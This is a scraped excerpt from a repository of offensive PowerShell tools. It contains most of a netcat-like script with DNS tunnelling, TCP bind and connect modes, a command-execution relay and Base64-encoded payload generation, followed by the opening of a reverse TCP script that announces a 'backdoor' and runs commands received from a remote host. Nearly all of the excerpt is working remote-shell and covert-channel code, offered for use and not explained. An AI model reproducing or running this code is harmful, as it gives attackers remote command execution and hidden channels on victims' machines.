Create_FIN 276 | { 277 | param($SessionId,$Tag,$Domain) 278 | return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "02" + $SessionId + "00" + $Domain) 279 | } 280 | 281 | function Create_MSG 282 | { 283 | param($SessionId,$SeqNum,$AcknowledgementNumber,$Data,$Tag,$Domain) 284 | return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "01" + $SessionId + $SeqNum + $AcknowledgementNumber + $Data + $Domain) 285 | } 286 | 287 | function DecodePacket 288 | { 289 | param($Packet) 290 | 291 | if((($Packet.Length)%2 -eq 1) -or ($Packet.Length -eq 0)){return 1} 292 | $AcknowledgementNumber = ($Packet[10..13] -join "") 293 | $SeqNum = ($Packet[14..17] -join "") 294 | [byte[]]$ReturningData = @() 295 | 296 | if($Packet.Length -gt 18) 297 | { 298 | $PacketElim = $Packet.Substring(18) 299 | while($PacketElim.Length -gt 0) 300 | { 301 | $ReturningData += [byte[]][Convert]::ToInt16(($PacketElim[0..1] -join ""),16) 302 | $PacketElim = $PacketElim.Substring(2) 303 | } 304 | } 305 | 306 | return $Packet,$ReturningData,$AcknowledgementNumber,$SeqNum 307 | } 308 | 309 | function AcknowledgeData 310 | { 311 | param($ReturningData,$AcknowledgementNumber) 312 | $Hex = [string]("{0:x}" -f (([uint16]("0x" + $AcknowledgementNumber) + $ReturningData.Length) % 65535)) 313 | if($Hex.Length -ne 4){$Hex = (("0"*(4-$Hex.Length)) + $Hex)} 314 | return $Hex 315 | } 316 | $FuncVars = @{} 317 | $FuncVars["DNSServer"],$FuncVars["DNSPort"],$FuncVars["Domain"],$FuncVars["FailureThreshold"] = $FuncSetupVars 318 | if($FuncVars["DNSPort"] -eq ''){$FuncVars["DNSPort"] = "53"} 319 | $FuncVars["Tag"] = "" 320 | $FuncVars["Domain"] = ("." + $FuncVars["Domain"]) 321 | 322 | $FuncVars["Create_SYN"] = ${function:Create_SYN} 323 | $FuncVars["Create_MSG"] = ${function:Create_MSG} 324 | $FuncVars["Create_FIN"] = ${function:Create_FIN} 325 | $FuncVars["DecodePacket"] = ${function:DecodePacket} 326 | $FuncVars["ConvertTo-HexArray"] = ${function:ConvertTo-HexArray} 327 | $FuncVars["AckData"] = ${function:AcknowledgeData} 328 | $FuncVars["SendPacket"] = ${function:SendPacket} 329 | $FuncVars["SessionId"] = ([string](Get-Random -Maximum 9999 -Minimum 1000)) 330 | $FuncVars["SeqNum"] = ([string](Get-Random -Maximum 9999 -Minimum 1000)) 331 | $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding 332 | $FuncVars["Failures"] = 0 333 | 334 | $SYNPacket = (Invoke-Command $FuncVars["Create_SYN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["Tag"],$FuncVars["Domain"])) 335 | $ResponsePacket = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($SYNPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"])) 336 | $DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($ResponsePacket)) 337 | if($DecodedPacket -eq 1){return "Bad SYN response. Ensure your server is set up correctly."} 338 | $ReturningData = $DecodedPacket[1] 339 | if($ReturningData -ne ""){$FuncVars["InputData"] = ""} 340 | $FuncVars["AckNum"] = $DecodedPacket[2] 341 | $FuncVars["MaxMSGDataSize"] = (244 - (Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],"",$FuncVars["Tag"],$FuncVars["Domain"])).Length) 342 | if($FuncVars["MaxMSGDataSize"] -le 0){return "Domain name is too long."} 343 | return $FuncVars 344 | } 345 | function ReadData_DNS 346 | { 347 | param($FuncVars) 348 | if($global:Verbose){$Verbose = $True} 349 | 350 | $PacketsData = @() 351 | $PacketData = "" 352 | 353 | if($FuncVars["InputData"] -ne $null) 354 | { 355 | $Hex = (Invoke-Command $FuncVars["ConvertTo-HexArray"] -ArgumentList @($FuncVars["InputData"])) 356 | $SectionCount = 0 357 | $PacketCount = 0 358 | foreach($Char in $Hex) 359 | { 360 | if($SectionCount -ge 30) 361 | { 362 | $SectionCount = 0 363 | $PacketData += "." 364 | } 365 | if($PacketCount -ge ($FuncVars["MaxMSGDataSize"])) 366 | { 367 | $PacketsData += $PacketData.TrimEnd(".") 368 | $PacketCount = 0 369 | $SectionCount = 0 370 | $PacketData = "" 371 | } 372 | $PacketData += $Char 373 | $SectionCount += 2 374 | $PacketCount += 2 375 | } 376 | $PacketData = $PacketData.TrimEnd(".") 377 | $PacketsData += $PacketData 378 | $FuncVars["InputData"] = "" 379 | } 380 | else 381 | { 382 | $PacketsData = @("") 383 | } 384 | 385 | [byte[]]$ReturningData = @() 386 | foreach($PacketData in $PacketsData) 387 | { 388 | try{$MSGPacket = Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],$PacketData,$FuncVars["Tag"],$FuncVars["Domain"])} 389 | catch{ Write-Verbose "DNSCAT2: Failed to create packet." ; $FuncVars["Failures"] += 1 ; continue } 390 | try{$Packet = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($MSGPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]))} 391 | catch{ Write-Verbose "DNSCAT2: Failed to send packet." ; $FuncVars["Failures"] += 1 ; continue } 392 | try 393 | { 394 | $DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($Packet)) 395 | if($DecodedPacket.Length -ne 4){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..."; $FuncVars["Failures"] += 1 ; continue } 396 | $FuncVars["AckNum"] = $DecodedPacket[2] 397 | $FuncVars["SeqNum"] = $DecodedPacket[3] 398 | $ReturningData += $DecodedPacket[1] 399 | } 400 | catch{ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue } 401 | if($DecodedPacket -eq 1){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue } 402 | } 403 | 404 | if($FuncVars["Failures"] -ge $FuncVars["FailureThreshold"]){break} 405 | 406 | if($ReturningData -ne @()) 407 | { 408 | $FuncVars["AckNum"] = (Invoke-Command $FuncVars["AckData"] -ArgumentList @($ReturningData,$FuncVars["AckNum"])) 409 | } 410 | return $ReturningData,$FuncVars 411 | } 412 | function WriteData_DNS 413 | { 414 | param($Data,$FuncVars) 415 | $FuncVars["InputData"] = $FuncVars["Encoding"].GetString($Data) 416 | return $FuncVars 417 | } 418 | function Close_DNS 419 | { 420 | param($FuncVars) 421 | $FINPacket = Invoke-Command $FuncVars["Create_FIN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["Tag"],$FuncVars["Domain"]) 422 | Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($FINPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]) | Out-Null 423 | } 424 | ############### DNS FUNCTIONS ############### 425 | 426 | ########## TCP FUNCTIONS ########## 427 | function Setup_TCP 428 | { 429 | param($FuncSetupVars) 430 | $c,$l,$p,$t = $FuncSetupVars 431 | if($global:Verbose){$Verbose = $True} 432 | $FuncVars = @{} 433 | if(!$l) 434 | { 435 | $FuncVars["l"] = $False 436 | $Socket = New-Object System.Net.Sockets.TcpClient 437 | Write-Verbose "Connecting..." 438 | $Handle = $Socket.BeginConnect($c,$p,$null,$null) 439 | } 440 | else 441 | { 442 | $FuncVars["l"] = $True 443 | Write-Verbose ("Listening on [0.0.0.0] (port " + $p + ")") 444 | $Socket = New-Object System.Net.Sockets.TcpListener $p 445 | $Socket.Start() 446 | $Handle = $Socket.BeginAcceptTcpClient($null, $null) 447 | } 448 | 449 | $Stopwatch = [System.Diagnostics.Stopwatch]::StartNew() 450 | while($True) 451 | { 452 | if($Host.UI.RawUI.KeyAvailable) 453 | { 454 | if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown,IncludeKeyUp").VirtualKeyCode)) 455 | { 456 | Write-Verbose "CTRL or ESC caught. Stopping TCP Setup..." 457 | if($FuncVars["l"]){$Socket.Stop()} 458 | else{$Socket.Close()} 459 | $Stopwatch.Stop() 460 | break 461 | } 462 | } 463 | if($Stopwatch.Elapsed.TotalSeconds -gt $t) 464 | { 465 | if(!$l){$Socket.Close()} 466 | else{$Socket.Stop()} 467 | $Stopwatch.Stop() 468 | Write-Verbose "Timeout!" ; break 469 | break 470 | } 471 | if($Handle.IsCompleted) 472 | { 473 | if(!$l) 474 | { 475 | try 476 | { 477 | $Socket.EndConnect($Handle) 478 | $Stream = $Socket.GetStream() 479 | $BufferSize = $Socket.ReceiveBufferSize 480 | Write-Verbose ("Connection to " + $c + ":" + $p + " [tcp] succeeded!") 481 | } 482 | catch{$Socket.Close(); $Stopwatch.Stop(); break} 483 | } 484 | else 485 | { 486 | $Client = $Socket.EndAcceptTcpClient($Handle) 487 | $Stream = $Client.GetStream() 488 | $BufferSize = $Client.ReceiveBufferSize 489 | Write-Verbose ("Connection from [" + $Client.Client.RemoteEndPoint.Address.IPAddressToString + "] port " + $port + " [tcp] accepted (source port " + $Client.Client.RemoteEndPoint.Port + ")") 490 | } 491 | break 492 | } 493 | } 494 | $Stopwatch.Stop() 495 | if($Socket -eq $null){break} 496 | $FuncVars["Stream"] = $Stream 497 | $FuncVars["Socket"] = $Socket 498 | $FuncVars["BufferSize"] = $BufferSize 499 | $FuncVars["StreamDestinationBuffer"] = (New-Object System.Byte[] $FuncVars["BufferSize"]) 500 | $FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null) 501 | $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding 502 | $FuncVars["StreamBytesRead"] = 1 503 | return $FuncVars 504 | } 505 | function ReadData_TCP 506 | { 507 | param($FuncVars) 508 | $Data = $null 509 | if($FuncVars["StreamBytesRead"] -eq 0){break} 510 | if($FuncVars["StreamReadOperation"].IsCompleted) 511 | { 512 | $StreamBytesRead = $FuncVars["Stream"].EndRead($FuncVars["StreamReadOperation"]) 513 | if($StreamBytesRead -eq 0){break} 514 | $Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)] 515 | $FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null) 516 | } 517 | return $Data,$FuncVars 518 | } 519 | function WriteData_TCP 520 | { 521 | param($Data,$FuncVars) 522 | $FuncVars["Stream"].Write($Data, 0, $Data.Length) 523 | return $FuncVars 524 | } 525 | function Close_TCP 526 | { 527 | param($FuncVars) 528 | try{$FuncVars["Stream"].Close()} 529 | catch{} 530 | if($FuncVars["l"]){$FuncVars["Socket"].Stop()} 531 | else{$FuncVars["Socket"].Close()} 532 | } 533 | ########## TCP FUNCTIONS ########## 534 | 535 | ########## CMD FUNCTIONS ########## 536 | function Setup_CMD 537 | { 538 | param($FuncSetupVars) 539 | if($global:Verbose){$Verbose = $True} 540 | $FuncVars = @{} 541 | $ProcessStartInfo = New-Object System.Diagnostics.ProcessStartInfo 542 | $ProcessStartInfo.FileName = $FuncSetupVars[0] 543 | $ProcessStartInfo.UseShellExecute = $False 544 | $ProcessStartInfo.RedirectStandardInput = $True 545 | $ProcessStartInfo.RedirectStandardOutput = $True 546 | $ProcessStartInfo.RedirectStandardError = $True 547 | $FuncVars["Process"] = [System.Diagnostics.Process]::Start($ProcessStartInfo) 548 | Write-Verbose ("Starting Process " + $FuncSetupVars[0] + "...") 549 | $FuncVars["Process"].Start() | Out-Null 550 | $FuncVars["StdOutDestinationBuffer"] = New-Object System.Byte[] 65536 551 | $FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null) 552 | $FuncVars["StdErrDestinationBuffer"] = New-Object System.Byte[] 65536 553 | $FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null) 554 | $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding 555 | return $FuncVars 556 | } 557 | function ReadData_CMD 558 | { 559 | param($FuncVars) 560 | [byte[]]$Data = @() 561 | if($FuncVars["StdOutReadOperation"].IsCompleted) 562 | { 563 | $StdOutBytesRead = $FuncVars["Process"].StandardOutput.BaseStream.EndRead($FuncVars["StdOutReadOperation"]) 564 | if($StdOutBytesRead -eq 0){break} 565 | $Data += $FuncVars["StdOutDestinationBuffer"][0..([int]$StdOutBytesRead-1)] 566 | $FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null) 567 | } 568 | if($FuncVars["StdErrReadOperation"].IsCompleted) 569 | { 570 | $StdErrBytesRead = $FuncVars["Process"].StandardError.BaseStream.EndRead($FuncVars["StdErrReadOperation"]) 571 | if($StdErrBytesRead -eq 0){break} 572 | $Data += $FuncVars["StdErrDestinationBuffer"][0..([int]$StdErrBytesRead-1)] 573 | $FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null) 574 | } 575 | return $Data,$FuncVars 576 | } 577 | function WriteData_CMD 578 | { 579 | param($Data,$FuncVars) 580 | $FuncVars["Process"].StandardInput.WriteLine($FuncVars["Encoding"].GetString($Data).TrimEnd("`r").TrimEnd("`n")) 581 | return $FuncVars 582 | } 583 | function Close_CMD 584 | { 585 | param($FuncVars) 586 | $FuncVars["Process"] | Stop-Process 587 | } 588 | ########## CMD FUNCTIONS ########## 589 | 590 | ########## POWERSHELL FUNCTIONS ########## 591 | function Main_Powershell 592 | { 593 | param($Stream1SetupVars) 594 | try 595 | { 596 | $encoding = New-Object System.Text.AsciiEncoding 597 | [byte[]]$InputToWrite = @() 598 | if($i -ne $null) 599 | { 600 | Write-Verbose "Input from -i detected..." 601 | if(Test-Path $i){ [byte[]]$InputToWrite = ([io.file]::ReadAllBytes($i)) } 602 | elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i } 603 | elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) } 604 | else{Write-Host "Unrecognised input type." ; return} 605 | } 606 | 607 | Write-Verbose "Setting up Stream 1... (ESC/CTRL to exit)" 608 | try{$Stream1Vars = Stream1_Setup $Stream1SetupVars} 609 | catch{Write-Verbose "Stream 1 Setup Failure" ; return} 610 | 611 | Write-Verbose "Setting up Stream 2... (ESC/CTRL to exit)" 612 | try 613 | { 614 | $IntroPrompt = $Encoding.GetBytes("Windows PowerShell`nCopyright (C) 2013 Microsoft Corporation. All rights reserved.`n`n" + ("PS " + (pwd).Path + "> ")) 615 | $Prompt = ("PS " + (pwd).Path + "> ") 616 | $CommandToExecute = "" 617 | $Data = $null 618 | } 619 | catch 620 | { 621 | Write-Verbose "Stream 2 Setup Failure" ; return 622 | } 623 | 624 | if($InputToWrite -ne @()) 625 | { 626 | Write-Verbose "Writing input to Stream 1..." 627 | try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars} 628 | catch{Write-Host "Failed to write input to Stream 1" ; return} 629 | } 630 | 631 | if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return} 632 | 633 | Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..." 634 | while($True) 635 | { 636 | try 637 | { 638 | ##### Stream2 Read ##### 639 | $Prompt = $null 640 | $ReturnedData = $null 641 | if($CommandToExecute -ne "") 642 | { 643 | try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))} 644 | catch{[byte[]]$ReturnedData = $Encoding.GetBytes(($_ | Out-String))} 645 | $Prompt = $Encoding.GetBytes(("PS " + (pwd).Path + "> ")) 646 | } 647 | $Data += $IntroPrompt 648 | $IntroPrompt = $null 649 | $Data += $ReturnedData 650 | $Data += $Prompt 651 | $CommandToExecute = "" 652 | ##### Stream2 Read ##### 653 | 654 | if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars} 655 | $Data = $null 656 | } 657 | catch 658 | { 659 | Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return 660 | } 661 | 662 | try 663 | { 664 | $Data,$Stream1Vars = Stream1_ReadData $Stream1Vars 665 | if($Data.Length -eq 0){Start-Sleep -Milliseconds 100} 666 | if($Data -ne $null){$CommandToExecute = $Encoding.GetString($Data)} 667 | $Data = $null 668 | } 669 | catch 670 | { 671 | Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return 672 | } 673 | } 674 | } 675 | finally 676 | { 677 | try 678 | { 679 | Write-Verbose "Closing Stream 1..." 680 | Stream1_Close $Stream1Vars 681 | } 682 | catch 683 | { 684 | Write-Verbose "Failed to close Stream 1" 685 | } 686 | } 687 | } 688 | ########## POWERSHELL FUNCTIONS ########## 689 | 690 | ########## CONSOLE FUNCTIONS ########## 691 | function Setup_Console 692 | { 693 | param($FuncSetupVars) 694 | $FuncVars = @{} 695 | $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding 696 | $FuncVars["Output"] = $FuncSetupVars[0] 697 | $FuncVars["OutputBytes"] = [byte[]]@() 698 | $FuncVars["OutputString"] = "" 699 | return $FuncVars 700 | } 701 | function ReadData_Console 702 | { 703 | param($FuncVars) 704 | $Data = $null 705 | if($Host.UI.RawUI.KeyAvailable) 706 | { 707 | $Data = $FuncVars["Encoding"].GetBytes((Read-Host) + "`n") 708 | } 709 | return $Data,$FuncVars 710 | } 711 | function WriteData_Console 712 | { 713 | param($Data,$FuncVars) 714 | switch($FuncVars["Output"]) 715 | { 716 | "Host" {Write-Host -n $FuncVars["Encoding"].GetString($Data)} 717 | "String" {$FuncVars["OutputString"] += $FuncVars["Encoding"].GetString($Data)} 718 | "Bytes" {$FuncVars["OutputBytes"] += $Data} 719 | } 720 | return $FuncVars 721 | } 722 | function Close_Console 723 | { 724 | param($FuncVars) 725 | if($FuncVars["OutputString"] -ne ""){return $FuncVars["OutputString"]} 726 | elseif($FuncVars["OutputBytes"] -ne @()){return $FuncVars["OutputBytes"]} 727 | return 728 | } 729 | ########## CONSOLE FUNCTIONS ########## 730 | 731 | ########## MAIN FUNCTION ########## 732 | function Main 733 | { 734 | param($Stream1SetupVars,$Stream2SetupVars) 735 | try 736 | { 737 | [byte[]]$InputToWrite = @() 738 | $Encoding = New-Object System.Text.AsciiEncoding 739 | if($i -ne $null) 740 | { 741 | Write-Verbose "Input from -i detected..." 742 | if(Test-Path $i){ [byte[]]$InputToWrite = ([io.file]::ReadAllBytes($i)) } 743 | elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i } 744 | elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) } 745 | else{Write-Host "Unrecognised input type." ; return} 746 | } 747 | 748 | Write-Verbose "Setting up Stream 1..." 749 | try{$Stream1Vars = Stream1_Setup $Stream1SetupVars} 750 | catch{Write-Verbose "Stream 1 Setup Failure" ; return} 751 | 752 | Write-Verbose "Setting up Stream 2..." 753 | try{$Stream2Vars = Stream2_Setup $Stream2SetupVars} 754 | catch{Write-Verbose "Stream 2 Setup Failure" ; return} 755 | 756 | $Data = $null 757 | 758 | if($InputToWrite -ne @()) 759 | { 760 | Write-Verbose "Writing input to Stream 1..." 761 | try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars} 762 | catch{Write-Host "Failed to write input to Stream 1" ; return} 763 | } 764 | 765 | if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return} 766 | 767 | Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..." 768 | while($True) 769 | { 770 | try 771 | { 772 | $Data,$Stream2Vars = Stream2_ReadData $Stream2Vars 773 | if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100} 774 | if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars} 775 | $Data = $null 776 | } 777 | catch 778 | { 779 | Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return 780 | } 781 | 782 | try 783 | { 784 | $Data,$Stream1Vars = Stream1_ReadData $Stream1Vars 785 | if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100} 786 | if($Data -ne $null){$Stream2Vars = Stream2_WriteData $Data $Stream2Vars} 787 | $Data = $null 788 | } 789 | catch 790 | { 791 | Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return 792 | } 793 | } 794 | } 795 | finally 796 | { 797 | try 798 | { 799 | #Write-Verbose "Closing Stream 2..." 800 | Stream2_Close $Stream2Vars 801 | } 802 | catch 803 | { 804 | Write-Verbose "Failed to close Stream 2" 805 | } 806 | try 807 | { 808 | #Write-Verbose "Closing Stream 1..." 809 | Stream1_Close $Stream1Vars 810 | } 811 | catch 812 | { 813 | Write-Verbose "Failed to close Stream 1" 814 | } 815 | } 816 | } 817 | ########## MAIN FUNCTION ########## 818 | 819 | ########## GENERATE PAYLOAD ########## 820 | if($u) 821 | { 822 | Write-Verbose "Set Stream 1: UDP" 823 | $FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n") 824 | $FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n") 825 | $FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n") 826 | $FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n") 827 | if($l){$InvokeString = "Main @('',`$True,'$p','$t') "} 828 | else{$InvokeString = "Main @('$c',`$False,'$p','$t') "} 829 | } 830 | elseif($dns -ne "") 831 | { 832 | Write-Verbose "Set Stream 1: DNS" 833 | $FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n") 834 | $FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n") 835 | $FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n") 836 | $FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n") 837 | if($l){return "This feature is not available."} 838 | else{$InvokeString = "Main @('$c','$p','$dns',$dnsft) "} 839 | } 840 | else 841 | { 842 | Write-Verbose "Set Stream 1: TCP" 843 | $FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n") 844 | $FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n") 845 | $FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n") 846 | $FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n") 847 | if($l){$InvokeString = "Main @('',`$True,$p,$t) "} 848 | else{$InvokeString = "Main @('$c',`$False,$p,$t) "} 849 | } 850 | 851 | if($e -ne "") 852 | { 853 | Write-Verbose "Set Stream 2: Process" 854 | $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_CMD} + "`n}`n`n") 855 | $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_CMD} + "`n}`n`n") 856 | $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_CMD} + "`n}`n`n") 857 | $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_CMD} + "`n}`n`n") 858 | $InvokeString += "@('$e')`n`n" 859 | } 860 | elseif($ep) 861 | { 862 | Write-Verbose "Set Stream 2: Powershell" 863 | $InvokeString += "`n`n" 864 | } 865 | elseif($r -ne "") 866 | { 867 | if($r.split(":")[0].ToLower() -eq "udp") 868 | { 869 | Write-Verbose "Set Stream 2: UDP" 870 | $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n") 871 | $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n") 872 | $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n") 873 | $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n") 874 | if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")} 875 | elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")} 876 | else{return "Bad relay format."} 877 | } 878 | if($r.split(":")[0].ToLower() -eq "dns") 879 | { 880 | Write-Verbose "Set Stream 2: DNS" 881 | $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n") 882 | $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n") 883 | $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n") 884 | $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n") 885 | if($r.split(":").Count -eq 2){return "This feature is not available."} 886 | elseif($r.split(":").Count -eq 4){$InvokeString += ("@('" + $r.split(":")[1] + "','" + $r.split(":")[2] + "','" + $r.split(":")[3] + "',$dnsft) ")} 887 | else{return "Bad relay format."} 888 | } 889 | elseif($r.split(":")[0].ToLower() -eq "tcp") 890 | { 891 | Write-Verbose "Set Stream 2: TCP" 892 | $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n") 893 | $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n") 894 | $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n") 895 | $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n") 896 | if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")} 897 | elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")} 898 | else{return "Bad relay format."} 899 | } 900 | } 901 | else 902 | { 903 | Write-Verbose "Set Stream 2: Console" 904 | $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_Console} + "`n}`n`n") 905 | $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_Console} + "`n}`n`n") 906 | $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_Console} + "`n}`n`n") 907 | $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_Console} + "`n}`n`n") 908 | $InvokeString += ("@('" + $o + "')") 909 | } 910 | 911 | if($ep){$FunctionString += ("function Main`n{`n" + ${function:Main_Powershell} + "`n}`n`n")} 912 | else{$FunctionString += ("function Main`n{`n" + ${function:Main} + "`n}`n`n")} 913 | $InvokeString = ($FunctionString + $InvokeString) 914 | ########## GENERATE PAYLOAD ########## 915 | 916 | ########## RETURN GENERATED PAYLOADS ########## 917 | if($ge){Write-Verbose "Returning Encoded Payload..." ; return [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($InvokeString))} 918 | elseif($g){Write-Verbose "Returning Payload..." ; return $InvokeString} 919 | ########## RETURN GENERATED PAYLOADS ########## 920 | 921 | ########## EXECUTION ########## 922 | $Output = $null 923 | try 924 | { 925 | if($rep) 926 | { 927 | while($True) 928 | { 929 | $Output += IEX $InvokeString 930 | Start-Sleep -s 2 931 | Write-Verbose "Repetition Enabled: Restarting..." 932 | } 933 | } 934 | else 935 | { 936 | $Output += IEX $InvokeString 937 | } 938 | } 939 | finally 940 | { 941 | if($Output -ne $null) 942 | { 943 | if($of -eq ""){$Output} 944 | else{[io.file]::WriteAllBytes($of,$Output)} 945 | } 946 | } 947 | ########## EXECUTION ########## 948 | } 949 | -------------------------------------------------------------------------------- /Powershell/powershell_reverse_tcp_prompt.ps1: -------------------------------------------------------------------------------- 1 | $addr = $(Read-Host -Prompt "Enter address").Trim(); 2 | Write-Host ""; 3 | $port = $(Read-Host -Prompt "Enter port number").Trim(); 4 | Write-Host ""; 5 | if ($addr.Length -lt 1 -or $port.Length -lt 1) { 6 | Write-Host "Both parameters are required"; 7 | } else { 8 | Write-Host "PowerShell Reverse TCP v4.0 by Ivan Sincek."; 9 | Write-Host "GitHub repository at github.com/ivan-sincek/powershell-reverse-tcp."; 10 | $client = $stream = $buffer = $writer = $data = $result = $null; 11 | try { 12 | $client = New-Object Net.Sockets.TcpClient($addr, $port); 13 | $stream = $client.GetStream(); 14 | $buffer = New-Object Byte[] 1024; 15 | $encoding = New-Object Text.UTF8Encoding; 16 | $writer = New-Object IO.StreamWriter($stream, [Text.Encoding]::UTF8, 1024); 17 | $writer.AutoFlush = $true; 18 | Write-Host "Backdoor is up and running..."; 19 | Write-Host ""; 20 | $bytes = 0; 21 | do { 22 | $writer.Write("PS>"); 23 | do { 24 | $bytes = $stream.Read($buffer, 0, $buffer.Length); # blocking 25 | if ($bytes -gt 0) { 26 | $data += $encoding.GetString($buffer, 0, $bytes); 27 | } 28 | } while ($stream.DataAvailable); 29 | if ($bytes -gt 0) { 30 | $data = $data.Trim(); 31 | if ($data.Length -gt 0) { 32 | try { 33 | $result = Invoke-Expression -Command $data 2>&1 | Out-String; 34 | } catch { 35 | $result = $_.Exception | Out-String; 36 | } 37 | Clear-Variable data; 38 | if ($result.Length -gt 0) { 39 | $writer.Write($result); 40 | Clear-Variable result; 41 | } 42 | 